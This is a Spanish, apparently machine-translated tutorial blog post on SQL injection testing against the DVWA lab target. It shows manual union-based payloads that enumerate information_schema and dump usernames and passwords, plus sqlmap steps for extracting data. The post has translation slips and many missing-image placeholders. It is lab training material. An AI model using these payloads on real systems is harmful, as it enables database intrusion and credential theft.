Compartir tecnología

[Desarrollo de pruebas] - Pruebas de penetración de seguridad

2024-07-12

한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina

1. Penetración de la seguridad

1.1 Clasificación

  • seguridad de bases de datos web
  • Seguridad del servidor de aplicaciones web (vulnerabilidad de carga de archivos, vulnerabilidad de inclusión de archivos)
  • Seguridad del cliente web (ataque XSS entre sitios)

2. inyección SQL

2.1 Introducción a la inyección SQL

  • La inyección SQL encabeza la lista de problemas de seguridad
  • El ataque de inyección SQL consiste en que los parámetros de entrada no se filtran y luego se unen directamente en la declaración SQL para su análisis.
  • La inyección SQL es una técnica de ataque que agrega código SQL a los parámetros de entrada y lo pasa al servidor para su análisis y ejecución.

2.2 Principio de inyección SQL

  • El atacante envía caracteres maliciosos en la página.
  • El servidor no filtra los parámetros enviados o el filtrado es insuficiente.
  • Los atacantes utilizan sentencias SQL de empalme para obtener información confidencial de la base de datos.

2.3 Peligros de la inyección SQL

  • Fuga de base de datos
  • Los datos del usuario fueron comprados y vendidos ilegalmente
  • Comprometer la seguridad de las aplicaciones web

2.4 Método de implementación de inyección SQL

  • Manual
    • Encontrar: punto de inyección
    • Entrada: sintaxis de combinación de inyección común de SQL para inyección
  • automático (herramienta)
    • Herramienta: Escanear en busca de puntos de inyección
    • Entrada: Pruebe automáticamente varias combinaciones de sintaxis

3.Configuración del entorno

3.1 máquina virtual vmware

3.1.1 Función

  • Software de máquina virtual, puede utilizar software para instalar múltiples sistemas operativos virtuales (Linux, Windows) en máquinas físicas
  • Los drones objetivo y los penetrantes funcionan con software VMware
    Tutorial de descarga de VMware

3.2 Target drone (aprender a utilizar el entorno del proyecto)

efecto

3.3 Máquina de penetración (aprender a atacar el entorno de inyección SQL)

efecto:

  • Kali contiene cientos de herramientas que se pueden utilizar para diversas tareas de seguridad de la información, como pruebas de penetración e investigaciones de seguridad.

4. Inyección manual

4.1 Preparación del entorno

Descripción: Practica la inyección manual a través de la aplicación web del drone
paso:

  • Iniciar objetivo drone OWASP
    Insertar descripción de la imagen aquí

  • Accede al dron a través de un navegador

  • Visita el proyecto OWASP-dvwa
    Insertar descripción de la imagen aquí

  • Acceso
    Insertar descripción de la imagen aquí

  • Seleccione la aplicación de inyección SQL
    Insertar descripción de la imagen aquí

4.2 Encuentra el punto de inyección

Nota: utilice principalmente comillas simples y caracteres de escape, principalmente comillas simples
principio:

#后台程序sql语句
select first_name,last_name from users where user_id = '$id';
#输入单引号('),相当于将sql语句闭合,后面就可以使用附加其他逻辑条件了
select first_name,last_name fro users where user_id = ''';
  • 1
  • 2
  • 3
  • 4

Insertar descripción de la imagen aquí

Insertar descripción de la imagen aquí

4.3 O lógico

Insertar descripción de la imagen aquí

4.4 Adivina el número de columnas

  1. por unión
' union select 1,2 #
  • 1

Insertar descripción de la imagen aquí
2. Por O lógico

'or 1=1#
  • 1

Insertar descripción de la imagen aquí

4.5 Obtener bases de datos, tablas y columnas

Obtener el nombre de la base de datos

' union select 1,database()#
  • 1

Insertar descripción de la imagen aquí
obtener mesa

' union select table_name,1 from information_schema.tables where table_schema='dvwa' #
  • 1

Insertar descripción de la imagen aquí

Obtener columnas

' union select column_name,1 from information_schema.columns where table_name='users' #
  • 1

Insertar descripción de la imagen aquí

4.6 Obtener datos

//1. 获取单个字段数据
' union select user,1 from users#

//2. 获取两个字段
' union select user,password from users#
  • 1
  • 2
  • 3
  • 4
  • 5

Insertar descripción de la imagen aquí

4.7 función concat

Función: empalmar varias cuerdas en una sola
Sintaxis: concat(cadena1,cadena2,…)
Ejemplo:

  • Obtenga user_id, usuario, contraseña de la tabla de usuarios y muéstrelos en dos columnas
select user_id,concat (user,password) from dvwa,users;
  • 1

Insertar descripción de la imagen aquí

  • Resuelva el problema de unir usuario y contraseña
select user_id,concat('user:',user,' password:',password) from dvwa.users;
  • 1

Insertar descripción de la imagen aquí

  • Obtener múltiples campos
' union select user,concat(first_name,' ',last_name,' ',password) from users#
  • 1

Insertar descripción de la imagen aquí

5. Inyección automática

5.1 Introducción a la inyección automática

Nota: La inyección automática se refiere al uso de herramientas en lugar del trabajo manual para completar las operaciones de inyección SQL.
Herramienta: sqlmap

5.2 Inyectar automáticamente el entorno

  • Enciende el dron
  • Poner en marcha la máquina de penetración

5.3 Mapa SQL

Herramienta: sqlmap

  • Una herramienta de prueba de penetración de código abierto
  • Detectar y explotar automáticamente vulnerabilidades de inyección SQL y hacerse cargo de los servidores de bases de datos
    Construir:

5.3.1 Uso básico de sqlmap

parámetro

  • -u: escanear la URL de destino
  • –batch: procesa automáticamente la información solicitada
  • –cookie: parámetros de cookies adicionales

paso

  • Escanear punto de inyección
  • Obtener el nombre de la base de datos
  • Obtener el nombre de la tabla
  • Obtener nombre de campo
  • recuperar datos

Como necesitamos iniciar sesión, primero obtenemos la cookie de la página de inicio de sesión.
Insertar descripción de la imagen aquí
Luego comience a escanear el punto de inyección.
Insertar descripción de la imagen aquí
inyección exitosa
Insertar descripción de la imagen aquí

5.3.2 sqlmap obtiene el nombre de la biblioteca

– current-db: Consulta el nombre de la base de datos utilizada por la web actual
-D: aplicar la base de datos especificada
Insertar descripción de la imagen aquí
resultado de la operación:
Insertar descripción de la imagen aquí

5.3.3 sqlmap obtiene la tabla

– current-db: consulta todos los nombres de tablas en la biblioteca especificada (primero debe usar -D para especificar el nombre de la biblioteca)
-T: especificar tabla
Insertar descripción de la imagen aquí

resultado de la operación:
Insertar descripción de la imagen aquí

5.3.4 sqlmap obtiene columnas

– columnas: consulta todos los campos de la tabla especificada (primero debe usar -T para especificar el nombre de la tabla)
-C: especificar el nombre del campo

Insertar descripción de la imagen aquí
resultado de la operación:
Insertar descripción de la imagen aquí

5.3.5 sqlmap obtiene datos

–volcado: descargar datos

Insertar descripción de la imagen aquí
resultado de la operación:
Insertar descripción de la imagen aquí